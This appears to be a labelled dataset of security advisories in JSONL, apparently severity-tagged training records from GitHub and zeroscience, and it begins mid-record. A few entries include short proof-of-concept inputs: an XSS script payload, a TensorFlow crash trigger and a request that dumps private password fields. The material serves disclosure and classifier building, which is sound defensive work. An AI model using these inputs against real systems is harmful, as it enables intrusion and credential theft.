maintainers will do their best to support it, Flood cannot guarantee its in-house access control system can stand against determined attackers in high-stake environments. \n\n> Use `HTTP Basic Auth` or other battle-hardened authentication methods instead of Flood's in-house one. You can use `disableUsersAndAuth` to avoid duplicate authentication.\n\nUsers are advised to check out the [wiki](https://github.com/jesec/flood/wiki) for more information on security precautions.\n\n### References\n[Wiki - Security precautions](https://github.com/jesec/flood/wiki/Security-precautions)\n\n[Introduction to JSON Web Tokens](https://jwt.io/introduction/)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [issue tracker](https://github.com/jesec/flood/issues)\n* Email us at [jc@linux.com](mailto:jc@linux.com)", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-08-26", "split": "train"}
-{"id": "97a046da0e9132fbe900", "text": "Denial of service (via resource exhaustion) due to improper input validation on groups/communities endpoints\n\n### Impact\nMissing input validation of some parameters on the groups (also known as communities) endpoints could cause excessive use of disk space and memory leading to resource exhaustion. Additionally clients may have issues rendering large fields.\n\n### Patches\nThis issue is fixed by #9321 and #9393.\n\n### Workarounds\nThe groups feature can be disabled (by setting `enable_group_creation` to `False`) to mitigate this issue. Note that it is disabled by default.\n\n### Other information\nNote that the groups feature is not part of the [Matrix specification](https://matrix.org/docs/spec/) and the chosen maximum lengths are arbitrary. Not all clients might abide by them.", "text_raw": "Denial of service (via resource exhaustion) due to improper input validation on groups/communities endpoints\n\n[Severity: MEDIUM]\n\n### Impact\nMissing input validation of some parameters on the groups (also known as communities) endpoints could cause excessive use of disk space and memory leading to resource exhaustion. Additionally clients may have issues rendering large fields.\n\n### Patches\nThis issue is fixed by #9321 and #9393.\n\n### Workarounds\nThe groups feature can be disabled (by setting `enable_group_creation` to `False`) to mitigate this issue. Note that it is disabled by default.\n\n### Other information\nNote that the groups feature is not part of the [Matrix specification](https://matrix.org/docs/spec/) and the chosen maximum lengths are arbitrary. Not all clients might abide by them.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "ade0fb674a24349e9df4", "text": "Unrestricted Uploads in Concrete5\n\nConcrete5 before 8.5.3 allows Unrestricted Upload of File with Dangerous Type such as a .phar file.", "text_raw": "Unrestricted Uploads in Concrete5\n\n[Severity: HIGH]\n\nConcrete5 before 8.5.3 allows Unrestricted Upload of File with Dangerous Type such as a .phar file.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-11-03", "split": "train"}
-{"id": "0219f7d24d88b89bed07", "text": "Command injection in LocalStack\n\nThe dashboard component of StackLift LocalStack allows attackers to inject arbitrary shell commands via the functionName parameter.", "text_raw": "Command injection in LocalStack\n\n[Severity: CRITICAL]\n\nThe dashboard component of StackLift LocalStack allows attackers to inject arbitrary shell commands via the functionName parameter.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-06-18", "split": "train"}
-{"id": "884e012e1127e8aa11e5", "text": "OpenMRS 2.3 (1.11.4) Multiple Cross-Site Scripting Vulnerabilities", "text_raw": "OpenMRS 2.3 (1.11.4) Multiple Cross-Site Scripting Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-12-07", "split": "train"}
-{"id": "5455fb8e5ed1776a39e6", "text": "Prototype Pollution in decal\n\nThis affects all versions of package decal. The vulnerability is in the set function.", "text_raw": "Prototype Pollution in decal\n\n[Severity: HIGH]\n\nThis affects all versions of package decal. The vulnerability is in the set function.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
-{"id": "2fc6ac0e56b1938d2927", "text": "Recurly vulnerable to SSRF\n\nThe Recurly Client Python Library before 2.0.5, 2.1.16, 2.2.22, 2.3.1, 2.4.5, 2.5.1, 2.6.2 is vulnerable to a Server-Side Request Forgery vulnerability in the `Resource.get` method that could result in compromise of API keys or other critical resources.", "text_raw": "Recurly vulnerable to SSRF\n\n[Severity: CRITICAL]\n\nThe Recurly Client Python Library before 2.0.5, 2.1.16, 2.2.22, 2.3.1, 2.4.5, 2.5.1, 2.6.2 is vulnerable to a Server-Side Request Forgery vulnerability in the `Resource.get` method that could result in compromise of API keys or other critical resources.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2019-01-04", "split": "train"}
-{"id": "38f5d0e5125c3af5fc9a", "text": "Null pointer dereference in `RaggedTensorToTensor`\n\n### Impact\nSending invalid argument for `row_partition_types` of `tf.raw_ops.RaggedTensorToTensor` API results in a null pointer dereference and undefined behavior:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.RaggedTensorToTensor(\n  shape=1,\n  values=10,\n  default_value=21,\n  row_partition_tensors=tf.constant([0,0,0,0]),\n  row_partition_types=[])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/47a06f40411a69c99f381495f490536972152ac0/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L328) accesses the first element of a user supplied list of values without validating that the provided list is not empty.\n\n### Patches\nWe have patched the issue in GitHub commit [301ae88b331d37a2a16159b65b255f4f9eb39314](https://github.com/tensorflow/tensorflow/commit/301ae88b331d37a2a16159b65b255f4f9eb39314).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Null pointer dereference in `RaggedTensorToTensor`\n\n[Severity: HIGH]\n\n### Impact\nSending invalid argument for `row_partition_types` of `tf.raw_ops.RaggedTensorToTensor` API results in a null pointer dereference and undefined behavior:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.RaggedTensorToTensor(\n  shape=1,\n  values=10,\n  default_value=21,\n  row_partition_tensors=tf.constant([0,0,0,0]),\n  row_partition_types=[])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/47a06f40411a69c99f381495f490536972152ac0/tensorflow/core/kernels/ragged_tensor_to_tensor_op.cc#L328) accesses the first element of a user supplied list of values without validating that the provided list is not empty.\n\n### Patches\nWe have patched the issue in GitHub commit [301ae88b331d37a2a16159b65b255f4f9eb39314](https://github.com/tensorflow/tensorflow/commit/301ae88b331d37a2a16159b65b255f4f9eb39314).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e932dffd81f48dd534f7", "text": "The SafeHtml annotation in Hibernate-Validator does not properly guard against XSS attacks\n\nA vulnerability was found in Hibernate-Validator. The SafeHtml validator annotation fails to properly sanitize payloads consisting of potentially malicious code in HTML comments and instructions. This vulnerability can result in an XSS attack.", "text_raw": "The SafeHtml annotation in Hibernate-Validator does not properly guard against XSS attacks\n\n[Severity: MEDIUM]\n\nA vulnerability was found in Hibernate-Validator. The SafeHtml validator annotation fails to properly sanitize payloads consisting of potentially malicious code in HTML comments and instructions. This vulnerability can result in an XSS attack.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-08", "split": "train"}
-{"id": "bb7ea544445ddebc9c8f", "text": "OS Command Injection and Improper Input Validation in ansible\n\nA flaw was found in the solaris_zone module from the Ansible Community modules. When setting the name for the zone on the Solaris host, the zone name is checked by listing the process with the 'ps' bare command on the remote machine. An attacker could take advantage of this flaw by crafting the name of the zone and executing arbitrary commands in the remote host. Ansible Engine 2.7.15, 2.8.7, and 2.9.2 as well as previous versions are affected.", "text_raw": "OS Command Injection and Improper Input Validation in ansible\n\n[Severity: HIGH]\n\nA flaw was found in the solaris_zone module from the Ansible Community modules. When setting the name for the zone on the Solaris host, the zone name is checked by listing the process with the 'ps' bare command on the remote machine. An attacker could take advantage of this flaw by crafting the name of the zone and executing arbitrary commands in the remote host. Ansible Engine 2.7.15, 2.8.7, and 2.9.2 as well as previous versions are affected.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-04-20", "split": "train"}
-{"id": "362d8a6418aed5ec4c7d", "text": "Lunar CMS 3.3 Unauthenticated Remote Command Execution Exploit", "text_raw": "Lunar CMS 3.3 Unauthenticated Remote Command Execution Exploit\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2014-06-21", "split": "train"}
-{"id": "01ff3e76317d94cedcb9", "text": "Malicious Package in js-base64-int\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "text_raw": "Malicious Package in js-base64-int\n\n[Severity: CRITICAL]\n\nThis package contained malicious code. The package uploaded system information such as OS and hostname to a remote server.\n\n\n## Recommendation\n\nRemove the package from your environment. There are no indications of further compromise.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "1af4f02b5da4df0d0260", "text": "CSV injection in shuup\n\n“Shuup” application in versions 0.4.2 to 2.10.8 is affected by the “Formula Injection” vulnerability. A customer can inject payloads in the name input field in the billing address while buying a product. When a store administrator accesses the reports page to export the data as an Excel file and opens it, the payload gets executed.", "text_raw": "CSV injection in shuup\n\n[Severity: HIGH]\n\n“Shuup” application in versions 0.4.2 to 2.10.8 is affected by the “Formula Injection” vulnerability. A customer can inject payloads in the name input field in the billing address while buying a product. When a store administrator accesses the reports page to export the data as an Excel file and opens it, the payload gets executed.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-30", "split": "train"}
-{"id": "940a9da98489100cb1f2", "text": "# Withdrawn\n\nThis advisory has been withdrawn, per NVD: [\"This candidate was withdrawn by its CNA. Further investigation showed that it was not a security issue.\"](https://nvd.nist.gov/vuln/detail/CVE-2017-17461)\n\n# Original Description\n\nA Regular expression Denial of Service (ReDoS) vulnerability in the file marked.js of the marked npm package (tested on version 0.3.7) allows a remote attacker to overload and crash a server by passing a maliciously crafted string.", "text_raw": "Moderate severity vulnerability that affects marked\n\n[Severity: MEDIUM]\n\n# Withdrawn\n\nThis advisory has been withdrawn, per NVD: [\"This candidate was withdrawn by its CNA. Further investigation showed that it was not a security issue.\"](https://nvd.nist.gov/vuln/detail/CVE-2017-17461)\n\n# Original Description\n\nA Regular expression Denial of Service (ReDoS) vulnerability in the file marked.js of the marked npm package (tested on version 0.3.7) allows a remote attacker to overload and crash a server by passing a maliciously crafted string.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-01-04", "split": "train"}
-{"id": "64e7bb830589b513b49c", "text": "Malicious Package in bsae-x\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "text_raw": "Malicious Package in bsae-x\n\n[Severity: CRITICAL]\n\nAll versions of this package contained malware. The package was designed to find and exfiltrate cryptocurrency wallets.\n\n\n## Recommendation\n\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer.\n\nThe package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "5fc97d024c2d1eec6d66", "text": "Prototype Pollution in flat-wrap\n\nAll versions of `flat-wrap` are vulnerable to prototype pollution. The function `unflatten` does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Prototype Pollution in flat-wrap\n\n[Severity: HIGH]\n\nAll versions of `flat-wrap` are vulnerable to prototype pollution. The function `unflatten` does not restrict the modification of an Object's prototype, which may allow an attacker to add or modify an existing property that will exist on all objects.\n\n\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-04", "split": "train"}
-{"id": "b3c76c7e392bfc58d6b9", "text": "Realtek 11n Wireless LAN Utility Privilege Escalation", "text_raw": "Realtek 11n Wireless LAN Utility Privilege Escalation\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2015-02-24", "split": "train"}
-{"id": "e2afc3903426c45a49b8", "text": "Insufficiently random values in Ansible\n\nA flaw was found in the use of insufficiently random values in Ansible. Two random password lookups of the same length generate the equal value as the template caching action for the same file since no re-evaluation happens. The highest threat from this vulnerability would be that all passwords are exposed at once for the file. This flaw affects Ansible Engine versions before 2.9.6.", "text_raw": "Insufficiently random values in Ansible\n\n[Severity: MEDIUM]\n\nA flaw was found in the use of insufficiently random values in Ansible. Two random password lookups of the same length generate the equal value as the template caching action for the same file since no re-evaluation happens. The highest threat from this vulnerability would be that all passwords are exposed at once for the file. This flaw affects Ansible Engine versions before 2.9.6.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-06-15", "split": "train"}
-{"id": "3e1d9e2c5fe054bbc246", "text": "Downloads Resources over HTTP in curses\n\nAffected versions of `curses` insecurely download an executable over an unencrypted HTTP connection.\n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `curses`.\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not been updated since 2013.\n\nThe best mitigation is currently to avoid using this package, using a different package if available.\n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "text_raw": "Downloads Resources over HTTP in curses\n\n[Severity: HIGH]\n\nAffected versions of `curses` insecurely download an executable over an unencrypted HTTP connection. \n\nIn scenarios where an attacker has a privileged network position, it is possible to intercept the response and replace the executable with a malicious one, resulting in code execution on the system running `curses`.\n\n\n## Recommendation\n\nNo patch is currently available for this vulnerability, and the package has not been updated since 2013.\n\nThe best mitigation is currently to avoid using this package, using a different package if available. \n\nAlternatively, the risk of exploitation can be reduced by ensuring that this package is not installed while connected to a public network. If the package is installed on a private network, the only people who can exploit this vulnerability are those who have compromised your network or those who have privileged access to your ISP, such as Nation State Actors or Rogue ISP Employees.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-02-18", "split": "train"}
-{"id": "227da81b7377bda62047", "text": "feedparser Cross-site Scripting vulnerability\n\nCross-site scripting (XSS) vulnerability in feedparser.py in Universal Feed Parser (aka feedparser or python-feedparser) 5.x before 5.0.1 allows remote attackers to inject arbitrary web script or HTML via an unexpected URI scheme, as demonstrated by a javascript: URI.", "text_raw": "feedparser Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nCross-site scripting (XSS) vulnerability in feedparser.py in Universal Feed Parser (aka feedparser or python-feedparser) 5.x before 5.0.1 allows remote attackers to inject arbitrary web script or HTML via an unexpected URI scheme, as demonstrated by a javascript: URI.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-23", "split": "train"}
-{"id": "3c17676dc141fc4cb8e9", "text": "Apache Camel's Mail is vulnerable to path traversal\n\nApache Camel's Mail 2.20.0 through 2.20.3, 2.21.0 through 2.21.1 and 2.22.0 is vulnerable to path traversal.", "text_raw": "Apache Camel's Mail is vulnerable to path traversal\n\n[Severity: MEDIUM]\n\nApache Camel's Mail 2.20.0 through 2.20.3, 2.21.0 through 2.21.1 and 2.22.0 is vulnerable to path traversal.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-10-16", "split": "train"}
-{"id": "e7c76e26286b02646a25", "text": "Qutebrowser XSS Vulnerability\n\nqutebrowser version introduced in v0.11.0 ([1179ee7a937fb31414d77d9970bac21095358449](https://github.com/qutebrowser/qutebrowser/commit/5a7869f2feaa346853d2a85413d6527c87ef0d9f)) contains a Cross Site Scripting (XSS) vulnerability in history command, `qute://history` page that can result in Via injected JavaScript code, a website can steal the user's browsing history. This attack appear to be exploitable via the victim must open a page with a specially crafted `<title>` attribute, and then open the `qute://history` site via the `:history` command. This vulnerability appears to have been fixed in fixed in v1.3.3 ([4c9360237f186681b1e3f2a0f30c45161cf405c7](https://github.com/qutebrowser/qutebrowser/commit/4c9360237f186681b1e3f2a0f30c45161cf405c7), to be released today) and v1.4.0 ([5a7869f2feaa346853d2a85413d6527c87ef0d9f](https://github.com/qutebrowser/qutebrowser/commit/5a7869f2feaa346853d2a85413d6527c87ef0d9f), released later this week).", "text_raw": "Qutebrowser XSS Vulnerability\n\n[Severity: MEDIUM]\n\nqutebrowser version introduced in v0.11.0 ([1179ee7a937fb31414d77d9970bac21095358449](https://github.com/qutebrowser/qutebrowser/commit/5a7869f2feaa346853d2a85413d6527c87ef0d9f)) contains a Cross Site Scripting (XSS) vulnerability in history command, `qute://history` page that can result in Via injected JavaScript code, a website can steal the user's browsing history. This attack appear to be exploitable via the victim must open a page with a specially crafted `<title>` attribute, and then open the `qute://history` site via the `:history` command. This vulnerability appears to have been fixed in fixed in v1.3.3 ([4c9360237f186681b1e3f2a0f30c45161cf405c7](https://github.com/qutebrowser/qutebrowser/commit/4c9360237f186681b1e3f2a0f30c45161cf405c7), to be released today) and v1.4.0 ([5a7869f2feaa346853d2a85413d6527c87ef0d9f](https://github.com/qutebrowser/qutebrowser/commit/5a7869f2feaa346853d2a85413d6527c87ef0d9f), released later this week).", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-09-13", "split": "train"}
-{"id": "ae2e75bb1c3f5f818d78", "text": "Symlink Arbitrary File Overwrite in bower\n\nVersions of `bower` prior to 1.8.8 are affected by an arbitrary file write vulnerability. The vulnerability occurs because `bower` does not verify that extracted symbolic links do not resolve to targets outside of the extraction root directory.\n\n## Recommendation\n\nUpdate to version 1.8.8 or later", "text_raw": "Symlink Arbitrary File Overwrite in bower\n\n[Severity: HIGH]\n\nVersions of `bower` prior to 1.8.8 are affected by an arbitrary file write vulnerability. The vulnerability occurs because `bower` does not verify that extracted symbolic links do not resolve to targets outside of the extraction root directory.\n\n\n\n## Recommendation\n\nUpdate to version 1.8.8 or later", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-09-17", "split": "train"}
-{"id": "00d4798b3193316a137b", "text": "Cross-Site Scripting in fileview\n\nAll versions of `fileview` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Cross-Site Scripting in fileview\n\n[Severity: HIGH]\n\nAll versions of `fileview` are vulnerable to Cross-Site Scripting (XSS). The package fails to sanitize filenames, allowing attackers to execute arbitrary JavaScript in the victim's browser through files with names containing malicious code.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-04-01", "split": "train"}
-{"id": "e9730de6ed551567262e", "text": "Remote code execution in better-macro\n\nAn issue was discovered in the better-macro crate through 2021-07-22 for Rust. It intentionally demonstrates that remote attackers can execute arbitrary code via proc-macros, and otherwise has no legitimate purpose.", "text_raw": "Remote code execution in better-macro\n\n[Severity: HIGH]\n\nAn issue was discovered in the better-macro crate through 2021-07-22 for Rust. It intentionally demonstrates that remote attackers can execute arbitrary code via proc-macros, and otherwise has no legitimate purpose.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "6413faf63f254e9547a1", "text": "SQL injection in TYPO3 extension\n\nIt has been discovered that the extension is susceptible to SQL Injection when processing bounced emails.", "text_raw": "SQL injection in TYPO3 extension\n\n[Severity: CRITICAL]\n\nIt has been discovered that the extension is susceptible to SQL Injection when processing bounced emails.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "f96454f3054cac494db4", "text": "Session key exposure through session list in Django User Sessions\n\n### Impact\nThe views provided by django-user-sessions allow users to terminate specific sessions. The session key is used to identify sessions, and thus included in the rendered HTML. In itself this is not a problem. However if the website has an XSS vulnerability, the session key could be extracted by the attacker and a session takeover could happen.\n\n### Patches\nPatch is under way.\n\n### Workarounds\nRemove the session_key from the template.\n\n### References\n_None._\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Bouke/django-user-sessions](https://github.com/Bouke/django-user-sessions/issues)\n* Email us at [bouke@haarsma.eu](mailto:bouke@haarsma.eu)", "text_raw": "Session key exposure through session list in Django User Sessions\n\n[Severity: MEDIUM]\n\n### Impact\nThe views provided by django-user-sessions allow users to terminate specific sessions. The session key is used to identify sessions, and thus included in the rendered HTML. In itself this is not a problem. However if the website has an XSS vulnerability, the session key could be extracted by the attacker and a session takeover could happen.\n\n### Patches\nPatch is under way.\n\n### Workarounds\nRemove the session_key from the template.\n\n### References\n_None._\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [Bouke/django-user-sessions](https://github.com/Bouke/django-user-sessions/issues)\n* Email us at [bouke@haarsma.eu](mailto:bouke@haarsma.eu)", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-01-24", "split": "train"}
-{"id": "72de38b2597c03c302d2", "text": "The filename of uploaded files vulnerable to stored XSS\n\n### Impact\n\nThe filename of uploaded files was vulnerable to stored XSS. It is not possible to inject javascript code in the file name when creating/uploading the file. But, once created/uploaded, it can be renamed to inject the payload in it.\n\nAdditionally, the measures to prevent renaming the file to disallowed filename extensions could be circumvented.\n\n### Patches\n\nThis is fixed in Bolt 3.7.1.\n\n### References\n\nRelated issue: https://github.com/bolt/bolt/pull/7853", "text_raw": "The filename of uploaded files vulnerable to stored XSS\n\n[Severity: HIGH]\n\n### Impact\n\nThe filename of uploaded files was vulnerable to stored XSS. It is not possible to inject javascript code in the file name when creating/uploading the file. But, once created/uploaded, it can be renamed to inject the payload in it. \n\nAdditionally, the measures to prevent renaming the file to disallowed filename extensions could be circumvented.\n\n### Patches\n\nThis is fixed in Bolt 3.7.1.\n\n### References\n\nRelated issue: https://github.com/bolt/bolt/pull/7853", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-09", "split": "train"}
-{"id": "5cae1ab63734ea2c5448", "text": "Cross-Site Scripting in i18next\n\nAffected versions of `i18next` may fail to sanitize user input when certain configuration options are used. When using the `.init` method, passing interpolation options without passing an `escapeValue` will default to `undefined` rather than the assumed `true`.\n\n## Proof of Concept\n\n```js\nvar init = i18n.init({\n  interpolation: {\n    prefix: \"__\",\n    suffix: \"__\",\n    escapeValue: true\n  }\n}, function(){\n  var test = i18n.t('__firstName__ __lastName__', {\n        firstName: 'Bob',\n        lastName: '[\"foo\",\"bar\"]',\n  });\n  console.log(test);\n});\n```\nWhen `escapeValue` is explicitly passed, the result of `test` is:\n\n```html\n&lt;script&gt;alert(1)&lt;&#x2F;script&gt; Johnson\n```\n\nThis is supposed to be the default. However, if `escapeValue` is not included, the result is the unescaped string:\n\n```html\n<script>alert(1)</script> Johnson\n```\n\n## Recommendation\n\nUpdate to version 3.4.4 or later.", "text_raw": "Cross-Site Scripting in i18next\n\n[Severity: MEDIUM]\n\nAffected versions of `i18next` may fail to sanitize user input when certain configuration options are used. When using the `.init` method, passing interpolation options without passing an `escapeValue` will default to `undefined` rather than the assumed `true`. \n\n## Proof of Concept\n\n```js\nvar init = i18n.init({\n  interpolation: {\n    prefix: \"__\",\n    suffix: \"__\",\n    escapeValue: true\n  }\n}, function(){\n  var test = i18n.t('__firstName__ __lastName__', {\n        firstName: 'Bob',\n        lastName: '[\"foo\",\"bar\"]',\n  });\n  console.log(test);\n});\n```\nWhen `escapeValue` is explicitly passed, the result of `test` is: \n\n```html\n&lt;script&gt;alert(1)&lt;&#x2F;script&gt; Johnson\n```\n\nThis is supposed to be the default. However, if `escapeValue` is not included, the result is the unescaped string: \n \n```html\n<script>alert(1)</script> Johnson\n```\n\n\n## Recommendation\n\nUpdate to version 3.4.4 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "4fccdc638af1a25c1d35", "text": "Regular Expression Denial of Service in highcharts\n\nVersions of `highcharts` prior to 6.1.0 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.\n\n## Recommendation\n\nUpgrade to version 6.1.0 or higher.", "text_raw": "Regular Expression Denial of Service in highcharts\n\n[Severity: HIGH]\n\nVersions of `highcharts` prior to 6.1.0 are vulnerable to Regular Expression Denial of Service (ReDoS). Untrusted input may cause catastrophic backtracking while matching regular expressions. This can cause the application to be unresponsive leading to Denial of Service.\n\n\n## Recommendation\n\nUpgrade to version 6.1.0 or higher.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-03-18", "split": "train"}
-{"id": "966debc4b8065f582f0d", "text": "Cross-Site Scripting in @nuxt/devalue\n\nVersions of `@nuxt/devalue` prior to 1.2.3 are vulnerable to Cross-Site Scripting. Due to insufficient input sanitization attacker may inject arbitrary JavaScript code through object keys.\n\n## Recommendation\n\nUpgrade to version 1.2.3 or later.", "text_raw": "Cross-Site Scripting in @nuxt/devalue\n\n[Severity: MEDIUM]\n\nVersions of `@nuxt/devalue` prior to 1.2.3 are vulnerable to Cross-Site Scripting. Due to insufficient input sanitization attacker may inject arbitrary JavaScript code through object keys.\n\n\n## Recommendation\n\nUpgrade to version 1.2.3 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-07-16", "split": "train"}
-{"id": "b6334ceca6d0762b1136", "text": "Pacer Edition CMS 2.1 (rm) Remote Arbitrary File Deletion Exploit", "text_raw": "Pacer Edition CMS 2.1 (rm) Remote Arbitrary File Deletion Exploit\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-06-09", "split": "train"}
-{"id": "3b0751c5b250f19ac282", "text": "Information Disclosure in Password Reset\n\nIn TYPO3 CMS 10.4.0 through 10.4.1, it has been discovered that time-based attacks can be used with the password reset functionality for backend users. This allows an attacker to mount user enumeration based on email addresses assigned to backend user accounts.\n\nThis has been fixed in 10.4.2.\n\n### References\n* https://typo3.org/security/advisory/typo3-core-sa-2020-001", "text_raw": "Information Disclosure in Password Reset\n\n[Severity: LOW]\n\nIn TYPO3 CMS 10.4.0 through 10.4.1, it has been discovered that time-based attacks can be used with the password reset functionality for backend users. This allows an attacker to mount user enumeration based on email addresses assigned to backend user accounts.\n\nThis has been fixed in 10.4.2.\n\n### References\n* https://typo3.org/security/advisory/typo3-core-sa-2020-001", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-05-13", "split": "train"}
-{"id": "5058ffb8e65ad0c82852", "text": "Private Data Disclosure in express-restify-mongoose\n\nAffected versions of `express-restify-mongoose` are susceptible to an information leakage vulnerability which may allow an attacker to access fields on a model even if those fields are marked as private.\n\n## Proof of Concept\n\nIf you have a user model that you want to protect, such as the following User model:\n```\nconst User = mongoose.model('User', new mongoose.Schema({\n    name: String,\n    password: String,\n}));\n```\n\nYou would normally do something such as:\n```\nrestify.serve(router, User, {\n    private: ['password'], // Set the password part of User as private, so outside people can't read it\n})\n```\n\nThis would hide the password field from people that send your application a `GET /User` and `GET /User/some-user-id` request.\n\nA malicious user can go to your application and send a request for `GET /User?distinct=password` and get all the passwords for all the users in the database, despite the field being set to private. This could be used for other private data, if the malicious user knew what was set as private for specific routes.\n\n## Recommendation\n\nVersion 2.x: Update to version 2.5.0 or later.\nVersion 3.x: Update to version 3.1.0 or later.", "text_raw": "Private Data Disclosure in express-restify-mongoose\n\n[Severity: HIGH]\n\nAffected versions of `express-restify-mongoose` are susceptible to an information leakage vulnerability which may allow an attacker to access fields on a model even if those fields are marked as private.\n\n\n## Proof of Concept\n\nIf you have a user model that you want to protect, such as the following User model:\n```\nconst User = mongoose.model('User', new mongoose.Schema({\n    name: String,\n    password: String,\n}));\n```\n\nYou would normally do something such as:\n```\nrestify.serve(router, User, {\n    private: ['password'], // Set the password part of User as private, so outside people can't read it\n})\n```\n\nThis would hide the password field from people that send your application a `GET /User` and `GET /User/some-user-id` request. \n\nA malicious user can go to your application and send a request for `GET /User?distinct=password` and get all the passwords for all the users in the database, despite the field being set to private. This could be used for other private data, if the malicious user knew what was set as private for specific routes.\n\n\n## Recommendation\n\nVersion 2.x: Update to version 2.5.0 or later.\nVersion 3.x: Update to version 3.1.0 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2018-10-23", "split": "train"}
